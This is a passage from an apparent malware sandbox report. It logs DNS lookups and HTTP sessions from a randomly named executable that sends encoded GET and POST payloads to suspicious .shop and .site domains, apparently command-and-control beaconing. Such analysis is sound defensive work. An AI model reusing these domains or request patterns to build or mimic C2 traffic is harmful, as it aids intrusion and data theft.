                              Nov 27, 2024 19:17:19.268003941 CET4980880192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:19.393547058 CET8049808172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:19.394273043 CET4980880192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:19.413363934 CET4980880192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:19.549768925 CET8049808172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:19.562511921 CET8049808172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:20.922209024 CET4980880192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:21.044904947 CET8049808172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:21.045272112 CET4980880192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:21.941142082 CET4981680192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:22.067523003 CET8049816172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:22.067631960 CET4981680192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:22.078800917 CET4981680192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:22.373538017 CET8049816172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:24.090727091 CET8049816172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:24.090940952 CET8049816172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:24.091041088 CET4981680192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:24.091675043 CET8049816172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:24.091747046 CET4981680192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:24.094297886 CET4981680192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:24.216425896 CET8049816172.67.187.114192.168.2.9

                              UDP Packets

                              TimestampSource PortDest PortSource IPDest IP
                              Nov 27, 2024 19:16:25.560168982 CET5159453192.168.2.91.1.1.1
                              Nov 27, 2024 19:16:26.178586960 CET53515941.1.1.1192.168.2.9
                              Nov 27, 2024 19:16:43.222054958 CET4917153192.168.2.91.1.1.1
                              Nov 27, 2024 19:16:43.613146067 CET53491711.1.1.1192.168.2.9
                              Nov 27, 2024 19:16:58.127810001 CET6118953192.168.2.91.1.1.1
                              Nov 27, 2024 19:16:58.725931883 CET53611891.1.1.1192.168.2.9
                              Nov 27, 2024 19:17:13.550090075 CET5476453192.168.2.91.1.1.1
                              Nov 27, 2024 19:17:13.955562115 CET53547641.1.1.1192.168.2.9
                              Nov 27, 2024 19:17:29.114224911 CET5025853192.168.2.91.1.1.1
                              Nov 27, 2024 19:17:30.124850035 CET5025853192.168.2.91.1.1.1
                              Nov 27, 2024 19:17:30.175538063 CET53502581.1.1.1192.168.2.9
                              Nov 27, 2024 19:17:30.264849901 CET53502581.1.1.1192.168.2.9

                              DNS Queries

                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                              Nov 27, 2024 19:16:25.560168982 CET192.168.2.91.1.1.10x6ee3Standard query (0)www.dymar.shopA (IP address)IN (0x0001)false
                              Nov 27, 2024 19:16:43.222054958 CET192.168.2.91.1.1.10x67aStandard query (0)www.conansog.shopA (IP address)IN (0x0001)false
                              Nov 27, 2024 19:16:58.127810001 CET192.168.2.91.1.1.10x7f5aStandard query (0)www.jijievo.siteA (IP address)IN (0x0001)false
                              Nov 27, 2024 19:17:13.550090075 CET192.168.2.91.1.1.10xe1dfStandard query (0)www.zkdamdjj.shopA (IP address)IN (0x0001)false
                              Nov 27, 2024 19:17:29.114224911 CET192.168.2.91.1.1.10xd9fcStandard query (0)www.ordubalbirlik.onlineA (IP address)IN (0x0001)false
                              Nov 27, 2024 19:17:30.124850035 CET192.168.2.91.1.1.10xd9fcStandard query (0)www.ordubalbirlik.onlineA (IP address)IN (0x0001)false

                              DNS Answers

                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                              Nov 27, 2024 19:16:26.178586960 CET1.1.1.1192.168.2.90x6ee3No error (0)www.dymar.shop185.68.16.160A (IP address)IN (0x0001)false
                              Nov 27, 2024 19:16:43.613146067 CET1.1.1.1192.168.2.90x67aNo error (0)www.conansog.shop172.67.162.12A (IP address)IN (0x0001)false
                              Nov 27, 2024 19:16:43.613146067 CET1.1.1.1192.168.2.90x67aNo error (0)www.conansog.shop104.21.41.74A (IP address)IN (0x0001)false
                              Nov 27, 2024 19:16:58.725931883 CET1.1.1.1192.168.2.90x7f5aNo error (0)www.jijievo.siteall.wjscdn.comCNAME (Canonical name)IN (0x0001)false
                              Nov 27, 2024 19:16:58.725931883 CET1.1.1.1192.168.2.90x7f5aNo error (0)all.wjscdn.com38.54.112.227A (IP address)IN (0x0001)false
                              Nov 27, 2024 19:16:58.725931883 CET1.1.1.1192.168.2.90x7f5aNo error (0)all.wjscdn.com154.90.35.240A (IP address)IN (0x0001)false
                              Nov 27, 2024 19:16:58.725931883 CET1.1.1.1192.168.2.90x7f5aNo error (0)all.wjscdn.com154.90.58.209A (IP address)IN (0x0001)false
                              Nov 27, 2024 19:16:58.725931883 CET1.1.1.1192.168.2.90x7f5aNo error (0)all.wjscdn.com154.205.143.51A (IP address)IN (0x0001)false
                              Nov 27, 2024 19:16:58.725931883 CET1.1.1.1192.168.2.90x7f5aNo error (0)all.wjscdn.com154.205.156.26A (IP address)IN (0x0001)false
                              Nov 27, 2024 19:16:58.725931883 CET1.1.1.1192.168.2.90x7f5aNo error (0)all.wjscdn.com154.205.159.116A (IP address)IN (0x0001)false
                              Nov 27, 2024 19:17:13.955562115 CET1.1.1.1192.168.2.90xe1dfNo error (0)www.zkdamdjj.shop172.67.187.114A (IP address)IN (0x0001)false
                              Nov 27, 2024 19:17:13.955562115 CET1.1.1.1192.168.2.90xe1dfNo error (0)www.zkdamdjj.shop104.21.40.167A (IP address)IN (0x0001)false
                              Nov 27, 2024 19:17:30.175538063 CET1.1.1.1192.168.2.90xd9fcNo error (0)www.ordubalbirlik.onlineredirect.natrocdn.comCNAME (Canonical name)IN (0x0001)false
                              Nov 27, 2024 19:17:30.175538063 CET1.1.1.1192.168.2.90xd9fcNo error (0)redirect.natrocdn.comnatroredirect.natrocdn.comCNAME (Canonical name)IN (0x0001)false
                              Nov 27, 2024 19:17:30.175538063 CET1.1.1.1192.168.2.90xd9fcNo error (0)natroredirect.natrocdn.com85.159.66.93A (IP address)IN (0x0001)false
                              Nov 27, 2024 19:17:30.264849901 CET1.1.1.1192.168.2.90xd9fcNo error (0)www.ordubalbirlik.onlineredirect.natrocdn.comCNAME (Canonical name)IN (0x0001)false
                              Nov 27, 2024 19:17:30.264849901 CET1.1.1.1192.168.2.90xd9fcNo error (0)redirect.natrocdn.comnatroredirect.natrocdn.comCNAME (Canonical name)IN (0x0001)false
                              Nov 27, 2024 19:17:30.264849901 CET1.1.1.1192.168.2.90xd9fcNo error (0)natroredirect.natrocdn.com85.159.66.93A (IP address)IN (0x0001)false

                              HTTP Request Dependency Graph

                              • www.dymar.shop
                              • www.conansog.shop
                              • www.jijievo.site
                              • www.zkdamdjj.shop

                              HTTP Packets

                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              0192.168.2.949711185.68.16.160806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:16:26.443726063 CET509OUTGET /nda7/?9T5=dnDHwbWHB8yXWNo&ZZO=mFtqolmCIxfa59Z73e/70aPjjf2bhJzSlcY3DN4KVGL7tWfIoFA3Wp5UPNCJzjLIZkLuICf5GnVH2/npj4i7TXGhWDeiA6DqdrBfwVOXNb+iLxMxXQ== HTTP/1.1
                              Host: www.dymar.shop
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Language: en-us
                              Connection: close
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Nov 27, 2024 19:16:27.957554102 CET1236INHTTP/1.1 404 Not Found
                              Server: nginx
                              Date: Wed, 27 Nov 2024 18:16:27 GMT
                              Content-Type: text/html; charset=utf-8
                              Transfer-Encoding: chunked
                              Connection: close
                              Set-Cookie: OCSESSID=ee25add905cc9b2f8f2570c821; path=/
                              Set-Cookie: language=ru-ru; expires=Fri, 27-Dec-2024 18:16:27 GMT; Max-Age=2592000; path=/; domain=www.dymar.shop
                              Set-Cookie: currency=UAH; expires=Fri, 27-Dec-2024 18:16:27 GMT; Max-Age=2592000; path=/; domain=www.dymar.shop
                              x-ray: wnp32698:0.130/wn32698:0.130/wa32698:D=128237
                              Data Raw: 34 33 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 72 75 22 20 63 6c 61 73 73 3d 22 69 65 38 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 72 75 22 20 63 6c 61 73 73 3d 22 69 65 39 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 79 6d 61 72 2e 73 68 6f 70 22 20 2f 3e 20 20 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 [TRUNCATED]
                              Data Ascii: 4351<!DOCTYPE html>...[if IE]><![endif]-->...[if IE 8 ]><html dir="ltr" lang="ru" class="ie8"><![endif]-->...[if IE 9 ]><html dir="ltr" lang="ru" class="ie9"><![endif]-->...[if (gt IE 9)|!(IE)]>...><html dir="ltr" lang="ru">...<![endif]--><head> <link rel="canonical" href="https://www.dymar.shop" /> <meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title> !</title><base href="https://www.dymar.shop/" /><link href="catalog/view/javascript/bootstrap/css/bootstrap.min.css" rel="stylesheet" media="screen" /><link href="catalog/view/javascript/font
                              Nov 27, 2024 19:16:27.957668066 CET1236INData Raw: 2d 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d
                              Data Ascii: -awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css" /><link href="catalog/view/theme/nice/stylesheet/stylesheet.css" rel="stylesheet"><link href="//fonts.googleapis.com/css?family=Inter:100,100i,300,300i,400,400i,700,700i,900
                              Nov 27, 2024 19:16:27.957954884 CET448INData Raw: 6f 6e 74 65 6e 74 3d 22 33 30 30 22 20 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 3a 68 65 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 33 30 30 22 20 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67
                              Data Ascii: ontent="300" ><meta property="og:image:height" content="300" ><meta property="og:site_name" content="" > </head><body><nav id="top"> <div class="container top-container"> ... Menu Top --><nav id="menu-t
                              Nov 27, 2024 19:16:27.957967997 CET1236INData Raw: 61 73 73 3d 22 74 6f 70 2d 62 75 74 74 6f 6e 73 2d 2d 69 74 65 6d 22 3e 0a 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 79 6d 61 72 2e 73 68 6f 70 2f 69 6e 64 65 78 2e 70 68 70 3f 72 6f 75 74 65 3d 63 6f
                              Data Ascii: ass="top-buttons--item"> <form action="https://www.dymar.shop/index.php?route=common/currency/currency" method="post" enctype="multipart/form-data" id="form-currency"> <div class="btn-group"> <button class="btn btn-link dropdown-to
                              Nov 27, 2024 19:16:27.958350897 CET1236INData Raw: 63 74 22 20 76 61 6c 75 65 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 79 6d 61 72 2e 73 68 6f 70 2f 69 6e 64 65 78 2e 70 68 70 3f 72 6f 75 74 65 3d 65 72 72 6f 72 2f 6e 6f 74 5f 66 6f 75 6e 64 26 61 6d 70 3b 39 54 35 3d 64 6e 44 48 77 62 57 48
                              Data Ascii: ct" value="https://www.dymar.shop/index.php?route=error/not_found&amp;9T5=dnDHwbWHB8yXWNo&amp;ZZO=mFtqolmCIxfa59Z73e/70aPjjf2bhJzSlcY3DN4KVGL7tWfIoFA3Wp5UPNCJzjLIZkLuICf5GnVH2/npj4i7TXGhWDeiA6DqdrBfwVOXNb iLxMxXQ==" /> </form></div>
                              Nov 27, 2024 19:16:27.958363056 CET448INData Raw: 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 63 6f 64 65 22 20 76 61 6c 75 65 3d 22 22 20
                              Data Ascii: /li> </ul> </div> <input type="hidden" name="code" value="" /> <input type="hidden" name="redirect" value="eyJyb3V0ZSI6ImVycm9yXC9ub3RfZm91bmQiLCJ1cmwiOiImOVQ1PWRuREh3YldIQjh5WFdObyZaWk89bUZ0cW9sbUNJeGZhNTlaNzNlXC83MG
                              Nov 27, 2024 19:16:27.958374977 CET1236INData Raw: 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 74 6f 70 2d 62 75 74 74 6f 6e 73 2d 2d 69 74 65 6d 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 74 6e 2d 67 72 6f 75 70 20 64 72 6f 70 64 6f
                              Data Ascii: class="account-container top-buttons--item"> <div class="btn-group dropdown"> <a href="https://www.dymar.shop/index.php?route=account/account" title=" " class="btn btn-link dropdown-toggle padding-r
                              Nov 27, 2024 19:16:27.958384991 CET224INData Raw: 74 65 67 6f 72 79 5f 69 64 22 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 2d 63 61 74 65 67 6f 72 79 2d 73 65 6c 65 63 74 6f 72 22 3e 0a 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 30 22 3e d0 92 d1 81 d0 b5 20 d0 ba d0 b0 d1 82 d0
                              Data Ascii: tegory_id" class="search--category-selector"> <option value="0"> </option> <option value="1" > </option> <option
                              Nov 27, 2024 19:16:27.959228992 CET1236INData Raw: 76 61 6c 75 65 3d 22 32 22 20 3e d0 a1 d1 82 d0 b0 d0 bc d0 b5 d1 81 d0 ba d0 b8 20 d0 bf d0 b0 d1 81 d0 b5 d1 87 d0 bd d1 8b d0 b5 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e
                              Data Ascii: value="2" > </option> <option value="3" > </option> <option value="4" > ,
                              Nov 27, 2024 19:16:27.959242105 CET1236INData Raw: d0 be d1 82 20 28 d1 81 d1 82 d0 be d0 bb d1 8b 29 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 31 34 22 20 3e 20 26 6e 62 73 70 3b 2d 20 d0
                              Data Ascii: ()</option> <option value="14" > &nbsp;- (1,5 )</option> <option value="15" > &nbsp;-
                              Nov 27, 2024 19:16:28.083158970 CET1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 32 34 22 20 3e 20 26 6e 62 73 70 3b 20 2d 2d 20 d0 9c d0 b5 d0 b4 d0 be d0 b3 d0 be d0 bd d0 ba d0 b0 20 34 20 2d 20 d1 80 d0 b0 d0 bc
                              Data Ascii: <option value="24" > &nbsp; -- 4 - , 540 </option> <option value="25" > &nbsp; -- 3-


                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              1192.168.2.949727172.67.162.12806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:16:43.842401028 CET770OUTPOST /uvt3/ HTTP/1.1
                              Host: www.conansog.shop
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Encoding: gzip, deflate, br
                              Accept-Language: en-us
                              Cache-Control: no-cache
                              Connection: close
                              Content-Type: application/x-www-form-urlencoded
                              Content-Length: 192
                              Origin: http://www.conansog.shop
                              Referer: http://www.conansog.shop/uvt3/
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Data Raw: 5a 5a 4f 3d 2b 58 4e 42 6f 65 65 6c 6f 64 58 57 62 56 34 4a 6c 53 70 2f 4d 6e 2b 6f 77 71 67 70 45 64 70 62 30 2b 77 6f 43 52 63 50 43 59 31 4a 51 36 53 35 78 67 52 6a 2b 50 41 6c 33 58 34 52 61 77 44 75 68 72 52 32 69 75 78 57 54 37 41 64 39 4a 2b 58 4a 50 2b 31 77 4f 45 54 47 68 6b 4d 79 78 39 75 65 4d 6f 4f 48 79 50 31 33 73 67 74 4c 30 4d 74 46 35 34 6e 68 4b 53 31 6b 6b 61 65 62 50 68 4c 55 6a 4f 72 6f 61 41 4d 35 48 61 76 68 68 32 4e 68 51 43 49 4d 62 34 77 36 68 71 77 45 4d 34 68 77 46 4b 45 4a 62 41 5a 66 6a 59 6c 4d 4f 6f 64 44 62 4a 63 51 59 72 76 74 71 59 44
                              Data Ascii: ZZO=+XNBoeelodXWbV4JlSp/Mn+owqgpEdpb0+woCRcPCY1JQ6S5xgRj+PAl3X4RawDuhrR2iuxWT7Ad9J+XJP+1wOETGhkMyx9ueMoOHyP13sgtL0MtF54nhKS1kkaebPhLUjOroaAM5Havhh2NhQCIMb4w6hqwEM4hwFKEJbAZfjYlMOodDbJcQYrvtqYD
                              Nov 27, 2024 19:16:45.160329103 CET761INHTTP/1.1 404 Not Found
                              Date: Wed, 27 Nov 2024 18:16:44 GMT
                              Content-Length: 0
                              Connection: close
                              Vary: Accept-Encoding
                              cf-cache-status: DYNAMIC
                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kJ2UXms30cUE9UPVRtL9b7leSYnQMyBoMPRDloln6HOBKygHQDUeH5xYVcZ47T8MEJYCqxSpR5buwj4KCeYpQIqs8%2FiC%2Fj1PtllzlM4zF6FWnQ0obxUajHHCT9z7C1oSqNetBg%3D%3D"}],"group":"cf-nel","max_age":604800}
                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                              Server: cloudflare
                              CF-RAY: 8e941c703a738c35-EWR
                              alt-svc: h3=":443"; ma=86400
                              server-timing: cfL4;desc="?proto=TCP&rtt=1887&min_rtt=1887&rtt_var=943&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=770&delivery_rate=0&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"


                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              2192.168.2.949732172.67.162.12806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:16:46.517956018 CET794OUTPOST /uvt3/ HTTP/1.1
                              Host: www.conansog.shop
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Encoding: gzip, deflate, br
                              Accept-Language: en-us
                              Cache-Control: no-cache
                              Connection: close
                              Content-Type: application/x-www-form-urlencoded
                              Content-Length: 216
                              Origin: http://www.conansog.shop
                              Referer: http://www.conansog.shop/uvt3/
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Data Raw: 5a 5a 4f 3d 2b 58 4e 42 6f 65 65 6c 6f 64 58 57 61 33 73 4a 67 31 64 2f 4b 48 2b 6e 75 61 67 70 64 4e 70 58 30 2b 38 6f 43 55 74 45 43 71 52 4a 56 72 69 35 67 55 46 6a 77 76 41 6c 38 33 34 55 65 77 44 78 68 72 56 68 69 71 74 57 54 37 55 64 39 4a 4f 58 4b 38 47 32 78 65 45 64 54 52 6b 43 74 68 39 75 65 4d 6f 4f 48 79 4c 4d 33 76 51 74 4c 45 63 74 45 59 34 67 72 71 53 32 74 45 61 65 66 50 68 50 55 6a 4f 46 6f 59 30 32 35 46 79 76 68 67 47 4e 34 6b 57 4c 43 62 34 32 30 42 72 59 58 66 46 36 70 31 79 34 4c 73 78 35 4c 53 59 37 4c 76 55 44 53 70 41 48 46 50 72 49 71 4e 52 72 2f 7a 50 4c 68 2b 76 6c 2b 37 31 49 46 36 34 5a 48 63 69 35 77 77 3d 3d
                              Data Ascii: ZZO=+XNBoeelodXWa3sJg1d/KH+nuagpdNpX0+8oCUtECqRJVri5gUFjwvAl834UewDxhrVhiqtWT7Ud9JOXK8G2xeEdTRkCth9ueMoOHyLM3vQtLEctEY4grqS2tEaefPhPUjOFoY025FyvhgGN4kWLCb420BrYXfF6p1y4Lsx5LSY7LvUDSpAHFPrIqNRr/zPLh+vl+71IF64ZHci5ww==
                              Nov 27, 2024 19:16:47.755558968 CET761INHTTP/1.1 404 Not Found
                              Date: Wed, 27 Nov 2024 18:16:47 GMT
                              Content-Length: 0
                              Connection: close
                              Vary: Accept-Encoding
                              cf-cache-status: DYNAMIC
                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dmMQt2uuWF44WXAZboCIWxQJNalAm3S7D60vcqrHewGXE6qYhBi6AL5JQTVOqEtowB5cs%2B6x7V52oM3JemDFsNkORooorsadUKZ5SxwBw7vtBjmJJQxA6%2FD25JmKPqnJadoXXQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                              Server: cloudflare
                              CF-RAY: 8e941c80bc67434f-EWR
                              alt-svc: h3=":443"; ma=86400
                              server-timing: cfL4;desc="?proto=TCP&rtt=1718&min_rtt=1718&rtt_var=859&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=794&delivery_rate=0&cwnd=207&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"


                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              3192.168.2.949738172.67.162.12806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:16:49.185640097 CET1807OUTPOST /uvt3/ HTTP/1.1
                              Host: www.conansog.shop
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Encoding: gzip, deflate, br
                              Accept-Language: en-us
                              Cache-Control: no-cache
                              Connection: close
                              Content-Type: application/x-www-form-urlencoded
                              Content-Length: 1228
                              Origin: http://www.conansog.shop
                              Referer: http://www.conansog.shop/uvt3/
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Data Raw: 5a 5a 4f 3d 2b 58 4e 42 6f 65 65 6c 6f 64 58 57 61 33 73 4a 67 31 64 2f 4b 48 2b 6e 75 61 67 70 64 4e 70 58 30 2b 38 6f 43 55 74 45 43 71 5a 4a 4a 49 36 35 78 46 46 6a 7a 76 41 6c 78 58 34 56 65 77 44 34 68 74 39 74 69 74 6c 6f 54 35 73 64 38 71 47 58 65 64 47 32 6f 75 45 64 52 52 6b 50 79 78 39 42 65 4d 34 43 48 78 6a 4d 33 76 51 74 4c 48 30 74 44 4a 34 67 34 36 53 31 6b 6b 61 73 62 50 68 72 55 6e 69 7a 6f 59 68 4c 35 55 53 76 67 41 57 4e 36 79 71 4c 4b 62 34 30 7a 42 72 41 58 66 4a 66 70 30 65 53 4c 70 6b 53 4c 55 6f 37 4f 49 70 67 49 36 41 48 66 4a 76 64 6e 71 49 4e 2b 47 53 6a 6f 66 2b 59 38 2b 74 48 5a 72 78 61 4d 66 54 73 6b 37 51 61 4d 34 75 68 49 51 34 77 33 37 79 32 6f 33 2b 45 30 71 70 76 34 6b 46 42 6a 5a 31 63 68 51 64 45 6b 73 6a 66 63 79 69 4b 32 6f 62 64 78 74 75 36 48 6b 34 69 6b 42 70 4f 52 6d 62 61 37 37 38 53 62 2b 54 6e 63 45 73 6e 79 45 71 44 57 61 77 62 6c 44 31 4d 6f 76 66 49 46 42 50 64 5a 4f 54 64 46 76 48 6a 46 68 4e 51 6e 62 56 38 6a 77 5a 6b 4d 31 76 55 62 42 74 58 56 73 [TRUNCATED]
                              Data Ascii: ZZO=+XNBoeelodXWa3sJg1d/KH+nuagpdNpX0+8oCUtECqZJJI65xFFjzvAlxX4VewD4ht9titloT5sd8qGXedG2ouEdRRkPyx9BeM4CHxjM3vQtLH0tDJ4g46S1kkasbPhrUnizoYhL5USvgAWN6yqLKb40zBrAXfJfp0eSLpkSLUo7OIpgI6AHfJvdnqIN+GSjof+Y8+tHZrxaMfTsk7QaM4uhIQ4w37y2o3+E0qpv4kFBjZ1chQdEksjfcyiK2obdxtu6Hk4ikBpORmba778Sb+TncEsnyEqDWawblD1MovfIFBPdZOTdFvHjFhNQnbV8jwZkM1vUbBtXVs/ZqUR/zaUAZXY+iA8q823804SrFksPKs6LjWAeCFgj5Bm6IdcM0oyY8VQwoBNRB/STTwK57T0ob2c/k/WmNEX2jzvuTAFJNUM5TtN7XOgx/p4v61mkVVDuR5No//cO+321bCGI9hzaZDIVukqd8rimXTTF1LQZzd1Tz4SVt8pZsUZzz8jNwalHi8g5yfwgSEE42daeLjN8kcBYpv9wlaahhQsklq92VFkwHyJingbHubkiY3MnoU7bw/srhFGjdyuZfCaCub7G1dqqUBNKH9t2PlnwXdfVsBoTkYU+5C3BBKPOG/p0i+Vljt9SmjmCjI7bctaTmyQWkacbhjRzxxVvxTbZLfi15moPM3SnqiS589xwm9Y+PSLgUZVb8B58XIm3armAGrIuyNR42Fv+yPO/2s3zu1jJpcpTN3FwM4aEJ5dsgok7a1AhXega/gLUoSRlAyPCpsunwFepxuY6Ld+cO/bWPPZ6oqj+v2BZeLP1Mc+R/KhTDWyUCtrlLPFdmph8qHpLLchrPPMbp5PVFa6b0XyKpjFvwnExO0b1bnBhFl0dUYWKC8S8akPLPgmdTen0uXb+1RbYDaWLH9cN0MT4Kuz2BlfASkbbjGneyW+FGyE2olmm4UZuv8E5mByo5ywjvislbWZWbVeiBwGecvuwPjO0Pi/PdOgy [TRUNCATED]
                              Nov 27, 2024 19:16:50.470295906 CET766INHTTP/1.1 404 Not Found
                              Date: Wed, 27 Nov 2024 18:16:50 GMT
                              Content-Length: 0
                              Connection: close
                              Vary: Accept-Encoding
                              cf-cache-status: DYNAMIC
                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V46KHaTlmJF7KS8ieEZ5pGgM0ndTPLfOLepgqiTNluQ6JBnMU8rpycBdyzI%2FyWpVIiofd3GTgzEgdg72TX7dh%2FDjgm9N%2FqNmLYn1ArJIzCaJl6Xn%2BrlyCAcvhIXEvUyxzolUtA%3D%3D"}],"group":"cf-nel","max_age":604800}
                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                              Server: cloudflare
                              CF-RAY: 8e941c91cbc30f4b-EWR
                              alt-svc: h3=":443"; ma=86400
